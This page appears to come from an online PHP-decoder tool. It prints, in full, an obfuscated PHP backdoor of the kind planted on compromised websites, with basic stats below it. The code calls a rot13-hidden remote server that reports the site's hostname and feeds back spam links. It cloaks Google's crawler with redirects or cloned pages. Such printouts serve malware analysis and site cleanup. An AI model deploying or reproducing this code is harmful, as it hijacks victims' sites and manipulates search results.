Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php @ob_start(); $aXIvxGToAShyxzmNYYBs='U98oeTV3sIRv792fH8bNxcNE4qK518GDCDBQwzdbrbQ1imaS..

Decoded Output download

<?php @ob_start(); $aXIvxGToAShyxzmNYYBs='U98oeTV3sIRv792fH8bNxcNE4qK518GDCDBQwzdbrbQ1imaSv1fHLSLyD7C8GDaWagWaLwNg'; $PrJoxBPtcOdjQVfOnDyU='xNO0138AMWLmrYfLGfZppck3viIu210tQkfRJb4Z9+AzusLytSSbrWxLOGBLbkLhGMf+X+c69Qk='; $sANbmaZNlPFFusRrBzRr='gmVz5ui3T+QWcrEKlhGnmvBsMdZobZoc1fCvo07GwSG8XQzNjH8UWYktyj/sxFQN0KsC1VAXxg==';$LskfPFwBOUrtXPUvnFAz='DzwBiqfgBVgwbhayJXBOXNknXGViTNDGMBCCYXGxAtBJYoTOKF'; if(@$_GET["merdo"]){echo "<!--SYSADMIN-->";exit();}$TVFPSNSAkohQTaMMJVMw=@$_SERVER["HTTP_HOST"];$TVFPSNSAkohQTaMMJVMw=str_replace("www.","",$TVFPSNSAkohQTaMMJVMw);function UkmyJXxhOePtNDOGDvCm($nSugfdGEQonLUwvBxmeH){if(function_exists("curl_init")){$uEWqpWDNxdyiGHlAaJMs=curl_init();curl_setopt($uEWqpWDNxdyiGHlAaJMs,CURLOPT_URL,$nSugfdGEQonLUwvBxmeH);curl_setopt($uEWqpWDNxdyiGHlAaJMs,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($uEWqpWDNxdyiGHlAaJMs, CURLOPT_REFERER, $_SERVER["REQUEST_URI"]);curl_setopt($uEWqpWDNxdyiGHlAaJMs,CURLOPT_RETURNTRANSFER,true);curl_setopt($uEWqpWDNxdyiGHlAaJMs,CURLOPT_USERAGENT,"RaBot");curl_setopt($uEWqpWDNxdyiGHlAaJMs,CURLOPT_TIMEOUT,10);return curl_exec($uEWqpWDNxdyiGHlAaJMs);}else{return file_get_contents($nSugfdGEQonLUwvBxmeH);}}function PUPiZMyoIZhGCSTGBuNm($liFrOkrztEPMEtxLpsWs){$jLpGtFaSvKOauTheBgTC=@json_decode(str_rot13($liFrOkrztEPMEtxLpsWs),true);if($jLpGtFaSvKOauTheBgTC["type"]=="link"||$jLpGtFaSvKOauTheBgTC["type"]=="anti"){if(count($jLpGtFaSvKOauTheBgTC["links"])){$yZppURzdTCFuTlkTtUWO="";foreach($jLpGtFaSvKOauTheBgTC["links"] as $LwWivlFBqESHYisGpemw){$yZppURzdTCFuTlkTtUWO .= '<a href="'.$LwWivlFBqESHYisGpemw["url"] .'" title="' .$LwWivlFBqESHYisGpemw["title"] .'">' .$LwWivlFBqESHYisGpemw["baslik"] .'</a>';}$oKUuRfeQLJXCCIBsvGfM=$jLpGtFaSvKOauTheBgTC["html"];$oKUuRfeQLJXCCIBsvGfM=str_replace("{LINK_CODE_REPLACE}",$yZppURzdTCFuTlkTtUWO,$oKUuRfeQLJXCCIBsvGfM);echo $oKUuRfeQLJXCCIBsvGfM;}else{$oKUuRfeQLJXCCIBsvGfM=$jLpGtFaSvKOauTheBgTC["html"];$oKUuRfeQLJXCCIBsvGfM=str_replace("{LINK_CODE_REPLACE}","",$oKUuRfeQLJXCCIBsvGfM);echo $oKUuRfeQLJXCCIBsvGfM;}}elseif($jLpGtFaSvKOauTheBgTC["type"]=="redirect"){if(@preg_match("#google#",$_SERVER["HTTP_USER_AGENT"])){$uri=$_SERVER["REQUEST_URI"];$rand_keys=array_rand($jLpGtFaSvKOauTheBgTC["links"],1);$myurl=$jLpGtFaSvKOauTheBgTC["links"][$rand_keys]["url"];header("HTTP/1.1 301 Moved Permanently");header("Location: ".$myurl."");exit();}}elseif($jLpGtFaSvKOauTheBgTC["type"]=="clone"){if(@preg_match("#google#",$_SERVER["HTTP_USER_AGENT"])){$uri=@$_SERVER["REQUEST_URI"];$pinfo=pathinfo($uri);if(preg_match("#\.css#",$uri)){header("Content-Type: text/css");}if(@$pinfo["extension"]=="jpg"||@$pinfo["extension"]=="jpeg"){header("Content-Type: image/jpeg");}if(preg_match("#\.js#",$uri)){header("Content-Type: text/javascript");}if(preg_match("#\.xml#",$uri)){header("Content-Type: application/xml");}$host=@$_SERVER["HTTP_HOST"];$host=str_replace("www.","",$host);$uri=$_SERVER["REQUEST_URI"];$rand_keys=array_rand($jLpGtFaSvKOauTheBgTC["links"],1);$myurl=rtrim($jLpGtFaSvKOauTheBgTC["links"][$rand_keys]["url"],"/");$url=$myurl.$uri;$curlSession=curl_init();curl_setopt($curlSession,CURLOPT_URL,$url);curl_setopt($curlSession,CURLOPT_REFERER,$myurl);curl_setopt($curlSession,CURLOPT_RETURNTRANSFER,1);curl_setopt($curlSession,CURLOPT_TIMEOUT,30);curl_setopt($curlSession,CURLOPT_USERAGENT,"xMen");$response=curl_exec($curlSession);curl_close($curlSession);$body=$response;$parse=parse_url($myurl);$p_host=str_replace('www.','',$parse["host"]);$body=str_replace($p_host,$host,$body);print $body;exit();}}if (@preg_match("#google#", $_SERVER["HTTP_USER_AGENT"])){}else{echo $jLpGtFaSvKOauTheBgTC["amung"];}}$aXIvxGToAShyxzmNYYBs=str_rot13("uggc://jjj.wnxxryyl.pbz/kynetr.cuc")."?merdo=".$TVFPSNSAkohQTaMMJVMw;$bSBGqQwIsQqRrEmIvrsL=UkmyJXxhOePtNDOGDvCm($aXIvxGToAShyxzmNYYBs);PUPiZMyoIZhGCSTGBuNm($bSBGqQwIsQqRrEmIvrsL); ?>

Did this file decode correctly?

Original Code

<?php @ob_start(); $aXIvxGToAShyxzmNYYBs='U98oeTV3sIRv792fH8bNxcNE4qK518GDCDBQwzdbrbQ1imaSv1fHLSLyD7C8GDaWagWaLwNg'; $PrJoxBPtcOdjQVfOnDyU='xNO0138AMWLmrYfLGfZppck3viIu210tQkfRJb4Z9+AzusLytSSbrWxLOGBLbkLhGMf+X+c69Qk='; $sANbmaZNlPFFusRrBzRr='gmVz5ui3T+QWcrEKlhGnmvBsMdZobZoc1fCvo07GwSG8XQzNjH8UWYktyj/sxFQN0KsC1VAXxg==';$LskfPFwBOUrtXPUvnFAz='DzwBiqfgBVgwbhayJXBOXNknXGViTNDGMBCCYXGxAtBJYoTOKF'; if(@$_GET["merdo"]){echo "<!--SYSADMIN-->";exit();}$TVFPSNSAkohQTaMMJVMw=@$_SERVER["HTTP_HOST"];$TVFPSNSAkohQTaMMJVMw=str_replace("www.","",$TVFPSNSAkohQTaMMJVMw);function UkmyJXxhOePtNDOGDvCm($nSugfdGEQonLUwvBxmeH){if(function_exists("curl_init")){$uEWqpWDNxdyiGHlAaJMs=curl_init();curl_setopt($uEWqpWDNxdyiGHlAaJMs,CURLOPT_URL,$nSugfdGEQonLUwvBxmeH);curl_setopt($uEWqpWDNxdyiGHlAaJMs,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($uEWqpWDNxdyiGHlAaJMs, CURLOPT_REFERER, $_SERVER["REQUEST_URI"]);curl_setopt($uEWqpWDNxdyiGHlAaJMs,CURLOPT_RETURNTRANSFER,true);curl_setopt($uEWqpWDNxdyiGHlAaJMs,CURLOPT_USERAGENT,"RaBot");curl_setopt($uEWqpWDNxdyiGHlAaJMs,CURLOPT_TIMEOUT,10);return curl_exec($uEWqpWDNxdyiGHlAaJMs);}else{return file_get_contents($nSugfdGEQonLUwvBxmeH);}}function PUPiZMyoIZhGCSTGBuNm($liFrOkrztEPMEtxLpsWs){$jLpGtFaSvKOauTheBgTC=@json_decode(str_rot13($liFrOkrztEPMEtxLpsWs),true);if($jLpGtFaSvKOauTheBgTC["type"]=="link"||$jLpGtFaSvKOauTheBgTC["type"]=="anti"){if(count($jLpGtFaSvKOauTheBgTC["links"])){$yZppURzdTCFuTlkTtUWO="";foreach($jLpGtFaSvKOauTheBgTC["links"] as $LwWivlFBqESHYisGpemw){$yZppURzdTCFuTlkTtUWO .= '<a href="'.$LwWivlFBqESHYisGpemw["url"] .'" title="' .$LwWivlFBqESHYisGpemw["title"] .'">' .$LwWivlFBqESHYisGpemw["baslik"] .'</a>';}$oKUuRfeQLJXCCIBsvGfM=$jLpGtFaSvKOauTheBgTC["html"];$oKUuRfeQLJXCCIBsvGfM=str_replace("{LINK_CODE_REPLACE}",$yZppURzdTCFuTlkTtUWO,$oKUuRfeQLJXCCIBsvGfM);echo $oKUuRfeQLJXCCIBsvGfM;}else{$oKUuRfeQLJXCCIBsvGfM=$jLpGtFaSvKOauTheBgTC["html"];$oKUuRfeQLJXCCIBsvGfM=str_replace("{LINK_CODE_REPLACE}","",$oKUuRfeQLJXCCIBsvGfM);echo $oKUuRfeQLJXCCIBsvGfM;}}elseif($jLpGtFaSvKOauTheBgTC["type"]=="redirect"){if(@preg_match("#google#",$_SERVER["HTTP_USER_AGENT"])){$uri=$_SERVER["REQUEST_URI"];$rand_keys=array_rand($jLpGtFaSvKOauTheBgTC["links"],1);$myurl=$jLpGtFaSvKOauTheBgTC["links"][$rand_keys]["url"];header("HTTP/1.1 301 Moved Permanently");header("Location: ".$myurl."");exit();}}elseif($jLpGtFaSvKOauTheBgTC["type"]=="clone"){if(@preg_match("#google#",$_SERVER["HTTP_USER_AGENT"])){$uri=@$_SERVER["REQUEST_URI"];$pinfo=pathinfo($uri);if(preg_match("#\.css#",$uri)){header("Content-Type: text/css");}if(@$pinfo["extension"]=="jpg"||@$pinfo["extension"]=="jpeg"){header("Content-Type: image/jpeg");}if(preg_match("#\.js#",$uri)){header("Content-Type: text/javascript");}if(preg_match("#\.xml#",$uri)){header("Content-Type: application/xml");}$host=@$_SERVER["HTTP_HOST"];$host=str_replace("www.","",$host);$uri=$_SERVER["REQUEST_URI"];$rand_keys=array_rand($jLpGtFaSvKOauTheBgTC["links"],1);$myurl=rtrim($jLpGtFaSvKOauTheBgTC["links"][$rand_keys]["url"],"/");$url=$myurl.$uri;$curlSession=curl_init();curl_setopt($curlSession,CURLOPT_URL,$url);curl_setopt($curlSession,CURLOPT_REFERER,$myurl);curl_setopt($curlSession,CURLOPT_RETURNTRANSFER,1);curl_setopt($curlSession,CURLOPT_TIMEOUT,30);curl_setopt($curlSession,CURLOPT_USERAGENT,"xMen");$response=curl_exec($curlSession);curl_close($curlSession);$body=$response;$parse=parse_url($myurl);$p_host=str_replace('www.','',$parse["host"]);$body=str_replace($p_host,$host,$body);print $body;exit();}}if (@preg_match("#google#", $_SERVER["HTTP_USER_AGENT"])){}else{echo $jLpGtFaSvKOauTheBgTC["amung"];}}$aXIvxGToAShyxzmNYYBs=str_rot13("uggc://jjj.wnxxryyl.pbz/kynetr.cuc")."?merdo=".$TVFPSNSAkohQTaMMJVMw;$bSBGqQwIsQqRrEmIvrsL=UkmyJXxhOePtNDOGDvCm($aXIvxGToAShyxzmNYYBs);PUPiZMyoIZhGCSTGBuNm($bSBGqQwIsQqRrEmIvrsL); ?>

Function Calls

ob_start 1
str_replace 1

Variables

$LskfPFwBOUrtXPUvnFAz DzwBiqfgBVgwbhayJXBOXNknXGViTNDGMBCCYXGxAtBJYoTOKF
$PrJoxBPtcOdjQVfOnDyU xNO0138AMWLmrYfLGfZppck3viIu210tQkfRJb4Z9+AzusLytSSbrWxLOGBL..
$TVFPSNSAkohQTaMMJVMw None
$aXIvxGToAShyxzmNYYBs U98oeTV3sIRv792fH8bNxcNE4qK518GDCDBQwzdbrbQ1imaSv1fHLSLyD7C8..
$sANbmaZNlPFFusRrBzRr gmVz5ui3T+QWcrEKlhGnmvBsMdZobZoc1fCvo07GwSG8XQzNjH8UWYktyj/s..

Stats

MD5 d04266e87031dfe8400544f8ab5f599b
Eval Count 0
Decode Time 93 ms